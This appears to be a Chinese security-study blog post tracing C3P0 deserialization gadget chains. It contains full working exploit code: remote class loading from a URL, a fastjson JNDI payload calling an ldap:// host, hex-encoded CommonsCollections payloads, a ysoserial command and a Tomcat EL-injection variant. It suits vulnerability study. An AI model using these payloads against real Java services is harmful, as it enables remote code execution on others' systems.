# 前言
C3P0 是一个开源的 JDBC 连接池,它实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的标准扩展。目前使用它的开源项目有 Hibernate,Spring 等。
JDBC 是 Java DataBase Connectivity 的缩写,它是 Java 程序访问数据库的标准接口。
使用 Java 程序访问数据库时,Java 代码并不是直接通过 TCP 连接去访问数据库,而是通过 JDBC 接口来访问,而 JDBC 接口则通过 JDBC 驱动来实现真正对数据库的访问。
连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时 Java 在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。
# 环境搭建
1 2 3 4 5 <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9 .5 .2 </version> </dependency>
# 关于 C3P0 攻击链的利用方式
1、URLClassLoader 远程类加载
2、JNDI 注入
3、利用 HEX 序列化字节加载器进行反序列化攻击
# URLClassLoader
漏洞点在 PoolBackedDataSourceBase
readobject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private void readObject ( ObjectInputStream ois ) throws IOException, ClassNotFoundException { short version = ois.readShort(); switch (version) { case VERSION: { Object o = ois.readObject(); if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject(); this .connectionPoolDataSource = (ConnectionPoolDataSource) o; } this .dataSourceName = (String) ois.readObject(); { Object o = ois.readObject(); if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject(); this .extensions = (Map) o; } this .factoryClassLocation = (String) ois.readObject(); this .identityToken = (String) ois.readObject(); this .numHelperThreads = ois.readInt(); this .pcs = new PropertyChangeSupport ( this ); this .vcs = new VetoableChangeSupport ( this ); break ; default : throw new IOException ("Unsupported Serialized Version: " + version); } }
注意到
这里会先判断对象 o 是否是 IndirectlySerialized
类的对象或者是其子类的对象
调用 getobject
后强转换对象为 ConnectionPoolDataSource
但是该接口并不能反序列化
去看下入口点 writeobject
处的写法
writeobject
看下调用返回的对象
是一个 ReferenceSerialized
的构造方法
举个不是很恰当的例子
ReferenceSerialized
是 “加强版” 的 ConnectionPoolDataSource
也就是说在序列化时,实际上的类进行了转换, ConnectionPoolDataSource
-> ReferenceSerialized
再回到 readobject
调用的 IndirectlySerialized.getobject
位于 ReferenceIndirector
getObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public Object getObject () throws ClassNotFoundException, IOException { try { Context initialContext; if ( env == null ) initialContext = new InitialContext (); else initialContext = new InitialContext ( env ); Context nameContext = null ; if ( contextName != null ) nameContext = (Context) initialContext.lookup( contextName ); return ReferenceableUtils.referenceToObject( reference, name, nameContext, env ); } catch (NamingException e) { if ( logger.isLoggable( MLevel.WARNING ) ) logger.log( MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object." , e ); throw new InvalidObjectException ( "Failed to acquire the Context necessary to lookup an Object: " + e.toString() ); } }
这里是对环境变量上下文进行加载
我们关注 return 这里 ReferenceableUtils.referenceToObject
,跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public static Object referenceToObject ( Reference ref, Name name, Context nameCtx, Hashtable env) throws NamingException { try { String fClassName = ref.getFactoryClassName(); String fClassLocation = ref.getFactoryClassLocation(); ClassLoader defaultClassLoader = Thread.currentThread().getContextClassLoader(); if ( defaultClassLoader == null ) defaultClassLoader = ReferenceableUtils.class.getClassLoader(); ClassLoader cl; if ( fClassLocation == null ) cl = defaultClassLoader; else { URL u = new URL ( fClassLocation ); cl = new URLClassLoader ( new URL [] { u }, defaultClassLoader ); } Class fClass = Class.forName( fClassName, true , cl ); ObjectFactory of = (ObjectFactory) fClass.newInstance(); return of.getObjectInstance( ref, name, nameCtx, env ); } catch ( Exception e ) { if (Debug.DEBUG) { if ( logger.isLoggable( MLevel.FINE ) ) logger.log( MLevel.FINE, "Could not resolve Reference to Object!" , e); } NamingException ne = new NamingException ("Could not resolve Reference to Object!" ); ne.setRootCause( e ); throw ne; } }
我们可以控制 fClassLocation
,最后通过 URLClassLoader
并初始化该实例来实现恶意代码执行
# Gadget
1 2 3 4 PoolBackedDataSourceBase#readObject-> ReferenceIndirector#getObject-> ReferenceableUtils#referenceToObject-> of(ObjectFactory)#getObjectInstance
# EXP
这里有个 getReference
方法,直接返回一个 Reference
对象
我们可以通过该方法直接构造对象
这里我们获取 ConnectionPoolDataSource
类的私有属性,因为反序列化的是该类对象
1 2 3 PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase (false ); Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource" ); connectionPoolDataSourceField.setAccessible(true );
按照 getReference
方法再重写一个方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 public class C3P01 { public static class C3P0 implements ConnectionPoolDataSource , Referenceable{ @Override public Reference getReference () throws NamingException { return new Reference ("Calc" ,"Calc" ,"http://127.0.0.1:8002/" ); } @Override public PooledConnection getPooledConnection () throws SQLException { return null ; } @Override public PooledConnection getPooledConnection (String user, String password) throws SQLException { return null ; } @Override public PrintWriter getLogWriter () throws SQLException { return null ; } @Override public void setLogWriter (PrintWriter out) throws SQLException { } @Override public void setLoginTimeout (int seconds) throws SQLException { } @Override public int getLoginTimeout () throws SQLException { return 0 ; } @Override public Logger getParentLogger () throws SQLFeatureNotSupportedException { return null ; } }
最后是两个常规方法,序列化和反序列化,但这里我们还需要把构造好的 connectionPoolDataSource
替换成我们本地的 Calc
所以这里再通过
1 connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp);
并把它写在序列化入口,然后在反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;import javax.naming.NamingException;import javax.naming.Reference;import javax.naming.Referenceable;import javax.sql.ConnectionPoolDataSource;import javax.sql.PooledConnection;import java.io.*;import java.lang.reflect.Field;import java.sql.SQLException;import java.sql.SQLFeatureNotSupportedException;import java.util.logging.Logger;public class C3P01 { public static class C3P0 implements ConnectionPoolDataSource , Referenceable{ @Override public Reference getReference () throws NamingException { return new Reference ("Calc" ,"Calc" ,"http://127.0.0.1:8002/" ); } @Override public PooledConnection getPooledConnection () throws SQLException { return null ; } @Override public PooledConnection getPooledConnection (String user, String password) throws SQLException { return null ; } @Override public PrintWriter getLogWriter () throws SQLException { return null ; } @Override public void setLogWriter (PrintWriter out) throws SQLException { } @Override public void setLoginTimeout (int seconds) throws SQLException { } @Override public int getLoginTimeout () throws SQLException { return 0 ; } @Override public Logger getParentLogger () throws SQLFeatureNotSupportedException { return null ; } } public static void unserialize (byte [] bytes) throws Exception{ try (ByteArrayInputStream bain = new ByteArrayInputStream (bytes); ObjectInputStream oin = new ObjectInputStream (bain)){ oin.readObject(); } } public static byte [] serialize(ConnectionPoolDataSource lp) throws Exception{ PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase (false ); Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource" ); connectionPoolDataSourceField.setAccessible(true ); connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp); try (ByteArrayOutputStream baout = new ByteArrayOutputStream (); ObjectOutputStream oout = new ObjectOutputStream (baout)){ oout.writeObject(poolBackedDataSourceBase); return baout.toByteArray(); } } public static void main (String[] args) throws Exception{ C3P0 exp = new C3P0 (); byte [] bytes = serialize(exp); unserialize(bytes); } }
calc
1 2 3 4 5 6 7 import java.io.IOException;public class Calc { public Calc () throws IOException { Runtime.getRuntime().exec("calc" ); } }
本白一开始的傻帽操作,把文件放包下了,一直不能弹计算器,郁闷 (真傻
# JNDI 注入
JndiRefForwardingDataSource
的 dereference()
方法中有 look,并且 jndiName
通过 getJndiName()
获取,可造成 JNDI 注入
先看下 getJnDIName
1 2 public Object getJndiName () { return (jndiName instanceof Name ? ((Name) jndiName).clone() : jndiName ); }
判断是否是 name 类型,不是则返回 String 类型
继续向上找可以利用的点
inner()
找到 setLoginRimeout
, 形参为 int
型
下面就是 WrapperConnectionPoolDataSource
和 JndiRefConnectionPoolDataSource
的同名函数
在 JndiRefConnectionPoolDataSource
, setLoginTimeout
,因为 wcpds
是 WrapperConnectionPoolDataSource
类下的,所以这里会调用 WrapperConnectionPoolDataSource
下的同名方法
这里会调用 getNestedDataSource()
对象
跟进后发现其实就是 JndiRefForwardingDataSource
在下一步就知道到这里
后面就会去加载我们传入的 jndiName
# Gadget
1 2 3 4 5 6 JndiRefConnectionPoolDataSource#setLoginTime -> WrapperConnectionPoolDataSource#setLoginTime -> JndiRefForwardingDataSource#setLoginTimeout -> JndiRefForwardingDataSource#inner -> JndiRefForwardingDataSource#dereference() -> Context#lookup
# EXP
1 2 3 4 5 6 7 8 9 10 import com.alibaba.fastjson.JSON;public class JNDI { public static void main (String[] args) { String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," + "\"jndiName\":\"ldap://10.6.42.156:8085/NpgoGBfd\",\"LoginTimeout\":\"1\"}" ; JSON.parse(payload); } }
# HEX 序列化
在 WrapperConnectionPoolDataSource
的构造方法下
调用了 C3P0ImplUtils.parseUserOverridesAsString
跟进
1 2 3 4 5 6 7 8 9 10 11 public static Map parseUserOverridesAsString ( String userOverridesAsString ) throws IOException, ClassNotFoundException { if (userOverridesAsString != null ) { String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1 , userOverridesAsString.length() - 1 ); byte [] serBytes = ByteUtils.fromHexAscii( hexAscii ); return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) ); } else return Collections.EMPTY_MAP; }
当 userOverridesAsString
不为空进入 if
首先会用 substring
对 userOverridesAsString
进行截取,将 HASM_HEADER
头和最后一位的;扣掉
而 userOverridesAsString
是一个私有的常量
1 private final static String HASM_HEADER = "HexAsciiSerializedMap" ;
将十六进制转成字节数组,最后再强转为 map
对象
跟进 `fromByteArray
1 2 3 4 5 6 7 8 public static Object fromByteArray (byte [] bytes) throws IOException, ClassNotFoundException { Object out = deserializeFromByteArray( bytes ); if (out instanceof IndirectlySerialized) return ((IndirectlySerialized) out).getObject(); else return out; }
最后到
1 2 3 4 5 6 public static Object deserializeFromByteArray (byte [] bytes) throws IOException, ClassNotFoundException { ObjectInputStream in = new ObjectInputStream (new ByteArrayInputStream (bytes)); return in.readObject(); }
进行反序列化
# Gadget
1 2 3 4 5 WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource-> C3P0ImplUtils#parseUserOverridesAsString-> SerializableUtils#fromByteArray-> SerializableUtils#deserializeFromByteArray-> SerializableUtils
# EXP
这里用 CC4 和 CC6 举例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 import com.alibaba.fastjson.JSON;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.beans.PropertyVetoException;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.io.StringWriter;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class C3P0Hex_CC6 { public static Map exp () throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException { Transformer[] transformers=new Transformer []{ new ConstantTransformer (Class.forName("java.lang.Runtime" )), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); HashMap<Object,Object> hashMap1=new HashMap <>(); LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazyMap,"Atkx" ); HashMap<Object,Object> hashMap2=new HashMap <>(); hashMap2.put(tiedMapEntry,"bbb" ); lazyMap.remove("Atkx" ); Class clazz=LazyMap.class; Field factoryField= clazz.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap,chainedTransformer); return hashMap2; } static void addHexAscii (byte b, StringWriter sw) { int ub = b & 0xff ; int h1 = ub / 16 ; int h2 = ub % 16 ; sw.write(toHexDigit(h1)); sw.write(toHexDigit(h2)); } private static char toHexDigit (int h) { char out; if (h <= 9 ) out = (char ) (h + 0x30 ); else out = (char ) (h + 0x37 ); return out; } public static byte [] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (bao); oos.writeObject(o); return bao.toByteArray(); } public static String toHexAscii (byte [] bytes) { int len = bytes.length; StringWriter sw = new StringWriter (len * 2 ); for (int i = 0 ; i < len; ++i) addHexAscii(bytes[i], sw); return sw.toString(); } public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException, ClassNotFoundException { String hex = toHexAscii(tobyteArray(exp())); System.out.println(hex); String payload = "{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:" + hex + ";\"," + "}" ; JSON.parse(payload); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.io.StringWriter;import com.alibaba.fastjson.JSON;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class C3P0Hex_CC4 { public static PriorityQueue CC4 () throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class templatesclass = templates.getClass(); Field nameField = templatesclass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"Atkx" ); Field bytecodeFiled = templatesclass.getDeclaredField("_bytecodes" ); bytecodeFiled.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("H://Code/JavaSecurityCode/cc3/target/classes/calc.class" )); byte [][] codes = {code}; bytecodeFiled.set(templates,codes); Field tfactoryField = templatesclass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl () { }); InstantiateTransformer instantiateTransformer = new InstantiateTransformer ( new Class []{ Templates.class},new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer <>(transformers); TransformingComparator transformingComparator = new TransformingComparator <>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue (transformingComparator); priorityQueue.add(1 ); priorityQueue.add(2 ); return priorityQueue; } static void addHexAscii (byte b, StringWriter sw) { int ub = b & 0xff ; int h1 = ub / 16 ; int h2 = ub % 16 ; sw.write(toHexDigit(h1)); sw.write(toHexDigit(h2)); } private static char toHexDigit (int h) { char out; if (h <= 9 ) out = (char ) (h + 0x30 ); else out = (char ) (h + 0x37 ); return out; } public static byte [] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (bao); oos.writeObject(o); return bao.toByteArray(); } public static String toHexAscii (byte [] bytes) { int len = bytes.length; StringWriter sw = new StringWriter (len * 2 ); for (int i = 0 ; i < len; ++i) addHexAscii(bytes[i], sw); return sw.toString(); } public static void main (String[] args) throws Exception { String hex = toHexAscii(tobyteArray(CC4())); System.out.println(hex); String payload = "{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:" + hex + ";\"," + "}" ; JSON.parse(payload); } }
当然也可以使用 CB 链或其他链子
也可以通过加载反序列化对象来执行
1 java -jar .\ysoserial-all.jar CommonsCollections6 "open -a Calculator" > calc.ser
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import java.io.FileInputStream;import java.io.IOException;import java.io.InputStream;public class C3P0_all { public static void main (String[] args) throws IOException, ClassNotFoundException { InputStream in = new FileInputStream ("L:\\JavaSecurity\\ysoserial-0.0.6\\calc.ser" ); byte [] data = toByteArray(in); in.close(); String HexString = bytesToHexString(data, data.length); System.out.println(HexString); } public static byte [] toByteArray(InputStream in) throws IOException { byte [] classBytes; classBytes = new byte [in.available()]; in.read(classBytes); in.close(); return classBytes; } public static String bytesToHexString (byte [] bArray, int length) { StringBuffer sb = new StringBuffer (length); for (int i = 0 ; i < length; ++i) { String sTemp = Integer.toHexString(255 & bArray[i]); if (sTemp.length() < 2 ) { sb.append(0 ); } sb.append(sTemp.toUpperCase()); } return sb.toString(); } }
得到十六进制,直接去执行即可
# 不出网利用
当目标机器不出网,且没有 fastjson 相关依赖时,C3P0 该如何利用?
环境
1 2 3 4 5 6 7 8 9 10 11 12 <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5 .0 </version> </dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-el</artifactId> <version>8.5 .15 </version> </dependency>
漏洞点位于 org.apache.naming.factory.BeanFactory
只有一个方法 getObjectInstance
回顾第一个链子 URL,会发现最后调用的就是该方法,而不出网的利用方式就是通过本地类的加载来进行 EL 表达式注入
将 URL 链子执行的地方改成 EL 表达式即可,其余不用变
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;import org.apache.naming.ResourceRef;import javax.naming.NamingException;import javax.naming.Reference;import javax.naming.Referenceable;import javax.naming.StringRefAddr;import javax.sql.ConnectionPoolDataSource;import javax.sql.PooledConnection;import java.io.*;import java.lang.reflect.Field;import java.sql.SQLException;import java.sql.SQLFeatureNotSupportedException;import java.util.logging.Logger;public class C3P0_Local { public static class C3P0 implements ConnectionPoolDataSource , Referenceable { @Override public Reference getReference () throws NamingException { ResourceRef resourceRef = new ResourceRef ("javax.el.ELProcessor" , (String)null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , (String)null ); resourceRef.add(new StringRefAddr ("forceString" , "faster=eval" )); resourceRef.add(new StringRefAddr ("faster" , "Runtime.getRuntime().exec(\"calc\")" )); return resourceRef; } @Override public PooledConnection getPooledConnection () throws SQLException { return null ; } @Override public PooledConnection getPooledConnection (String user, String password) throws SQLException { return null ; } @Override public PrintWriter getLogWriter () throws SQLException { return null ; } @Override public void setLogWriter (PrintWriter out) throws SQLException { } @Override public void setLoginTimeout (int seconds) throws SQLException { } @Override public int getLoginTimeout () throws SQLException { return 0 ; } @Override public Logger getParentLogger () throws SQLFeatureNotSupportedException { return null ; } } public static void unserialize (byte [] bytes) throws Exception{ try (ByteArrayInputStream bain = new ByteArrayInputStream (bytes); ObjectInputStream oin = new ObjectInputStream (bain)){ oin.readObject(); } } public static byte [] serialize(ConnectionPoolDataSource lp) throws Exception{ PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase (false ); Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource" ); connectionPoolDataSourceField.setAccessible(true ); connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp); try (ByteArrayOutputStream baout = new ByteArrayOutputStream (); ObjectOutputStream oout = new ObjectOutputStream (baout)){ oout.writeObject(poolBackedDataSourceBase); return baout.toByteArray(); } } public static void main (String[] args) throws Exception{ C3P01.C3P0 exp = new C3P01 .C3P0(); byte [] bytes = serialize(exp); unserialize(bytes); } }
# 最后
链子整体不是很难,但是有点绕,尤其是 JNDI 部分有的对象不 debug 一下很难想象是怎么联系起来的,本文也是应该很早就写完了,奈何最近阳了,也是隔离了一段时间休养了一段,希望能把后面的时间都利用起来吧